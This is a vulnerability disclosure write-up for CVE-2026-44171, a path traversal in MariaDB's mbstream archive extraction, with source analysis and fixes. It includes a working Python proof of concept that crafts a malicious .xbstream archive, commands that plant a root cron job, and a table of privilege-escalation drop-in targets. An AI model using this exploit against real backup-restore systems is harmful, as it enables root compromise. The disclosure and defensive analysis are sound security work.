CVE-2026-44171: Escaping MariaDB's Backup Directory

2026-04-16

MariaDB ships a backup tool called mariadb-backup. When it streams a backup, it writes an .xbstream archive, which is a proprietary chunk-based format. To restore, you run mbstream -x to extract the archive into a target directory. I found a path traversal vulnerability in this extraction that lets a malicious archive write files anywhere on the filesystem, escalating to root code execution in under a minute on a default Debian install.

CVE-2026-44171 / MDEV-39408 / GHSA-9pjh-5hhw-65v9.


The xbstream format

An xbstream archive is a sequence of chunks. Each chunk has a magic header (XBSTCK01), a type byte (payload or EOF), and a path field (the relative filename that the chunk’s data should be written to during extraction). The path is read directly from the archive at xbstream_read.cc:144-160 and passed through without sanitization.

The interesting question is: what happens when that path contains ../?

The code path

When mbstream -x processes an archive, each chunk’s path reaches the local datasink through a call chain that starts at xbstream.cc:334:

file = ds_open(ctxt->ds_ctxt, path, NULL);

This reaches local_open() in ds_local.cc, where the path is resolved relative to the target directory:

static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                         // (3)
    ...
}

The MY_RELATIVE_PATH flag at (1) is supposed to confine the path under ctxt->root. The implementation in mf_format.c delegates to test_if_hard_path():

else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

And test_if_hard_path() in my_getwd.c:132 classifies a path as “hard” only if it starts with / or ~/:

int test_if_hard_path(const char *dir_name)
{
    if (dir_name[0] == FN_HOMELIB && dir_name[1] == FN_LIBCHAR)
        return 1;
    if (dir_name[0] == FN_LIBCHAR)
        return 1;
    return 0;
}

A path like ../../etc/cron.d/evil is not absolute and does not start with ~/, so it passes the check. The target directory is simply prepended:

target dir:   /tmp/restore
chunk path:   ../../etc/cron.d/evil
fullpath:     /tmp/restore/../../etc/cron.d/evil
kernel resolves: /etc/cron.d/evil

No userspace normalization of .. happens anywhere. At (2), my_mkdir() creates the resolved parent directory (tolerating EEXIST). At (3), my_create() opens the file with O_EXCL | O_NOFOLLOW, so existing files can’t be overwritten and symlinks aren’t followed, but new files can be created at the traversed path. That’s sufficient.

The exploit

The PoC generates a minimal valid xbstream archive containing one payload chunk and one EOF chunk, both carrying a ../-prefixed path.

craft_evil_xbstream.py

#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

Root RCE via /etc/cron.d

The chunk path traverses to /etc/cron.d/evil; the payload is a valid cron entry that runs as root every minute:

python3 craft_evil_xbstream.py \
    '../../etc/cron.d/evil' \
    '* * * * * root touch /tmp/CRON_PROOF
' \
    /tmp/evil.xbstream

rm -f /tmp/CRON_PROOF /etc/cron.d/evil
mkdir -p /tmp/restore_target

mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream

ls -la /etc/cron.d/evil
cat /etc/cron.d/evil

for i in $(seq 1 70); do
    if [ -f /tmp/CRON_PROOF ]; then
        echo "[+] CRON FIRED after ${i}s"
        ls -la /tmp/CRON_PROOF
        break
    fi
    sleep 1
done

Output on the test VM (Debian 12, MariaDB 12.2.2):

wrote /tmp/evil.xbstream
-rw-r----- 1 root root 37 Apr 16 10:09 /etc/cron.d/evil
* * * * * root touch /tmp/CRON_PROOF
[+] CRON FIRED after 40s
-rw-r--r-- 1 root root 0 Apr 16 10:10 /tmp/CRON_PROOF

One delivered .xbstream file leads to root code execution in under a minute. No MariaDB credentials were needed. The attacker only needs to get a malicious archive into a restore workflow.

Impact

The primitive is arbitrary new-file creation as the user running mbstream -x, anywhere the kernel-resolved parent directory exists and the user has write permission. When extraction runs as root (a common case for backup restores) the primitive escalates through any privileged drop-in directory:

Drop-in target Mechanism Time to execution
/etc/cron.d/evil crond picks up new files, runs at next minute boundary ~60 seconds
/etc/sudoers.d/evil sudo evaluates drop-ins on next invocation next sudo call
/etc/profile.d/evil.sh sourced on next interactive login next login
/etc/ld.so.preload loader honors this on every exec() next process spawn
~/.ssh/authorized_keys sshd grants login if .ssh/ exists immediately

The attack surface is larger than it might seem. Backup-restore pipelines pull .xbstream files from S3, NFS, HTTP, or SFTP. Anyone with write access to the backup store can plant a malicious archive. Backup buckets are frequently lower-trust than the database itself. The mariadb-operator project runs mbstream -x as root inside operator pods during restore. An attacker with write access to the backup PVC or S3 bucket gets code execution on every restore the operator performs, with no user interaction.

This is the same vulnerability class as Zip Slip (Snyk, 2018), which produced CVE assignments across the ecosystem at CVSS scores in the 7–9 range.

The fix

In my disclosure report, I recommended a fix via anchoring extraction to a fixed dirfd and to reach every extracted file via openat()/mkdirat() with per-component validation:

  1. Open ctxt->root as rootfd with O_RDONLY | O_DIRECTORY | O_CLOEXEC.
  2. For each chunk path, split on /. Reject any component that is empty, ., .., or contains NUL.
  3. For each non-final component, mkdirat(current_dirfd, component, 0755) (tolerating EEXIST), then openat(current_dirfd, component, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC).
  4. For the final component, openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode).

This walks one component at a time from a trusted anchor, rejects .. lexically before any syscall, and uses O_NOFOLLOW on every intermediate open to defeat symlink races.

As a minimum stopgap, I suggested a string-level filter before ds_open() closes the immediate vulnerability:

static bool path_is_safe(const char *path) {
    if (path[0] == '/' || path[0] == '~')
        return false;
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

String filters on filesystem paths have a history of bypasses, which is why the openat() approach seemed preferable to me. But either one would fix the bug.

The actual fix was implemented in commit 2bbfcb1:

@@ -319,6 +319,11 @@ file_entry_new(extract_ctxt_t *ctxt, const char *path, uint pathlen)
    file_entry_t    *entry;
    ds_file_t   *file;

        if (*path == '.' || *path == '/' || strstr(path, "/../")) {
        msg("%s: invalid filename %s", my_progname, path);
                return NULL;
        }

    entry = (file_entry_t *) my_malloc(PSI_NOT_INSTRUMENTED, sizeof(file_entry_t),
                       MYF(MY_WME | MY_ZEROFILL));
    if (entry == NULL) {

This is a string filter implemented even earlier in the call chain.

Timeline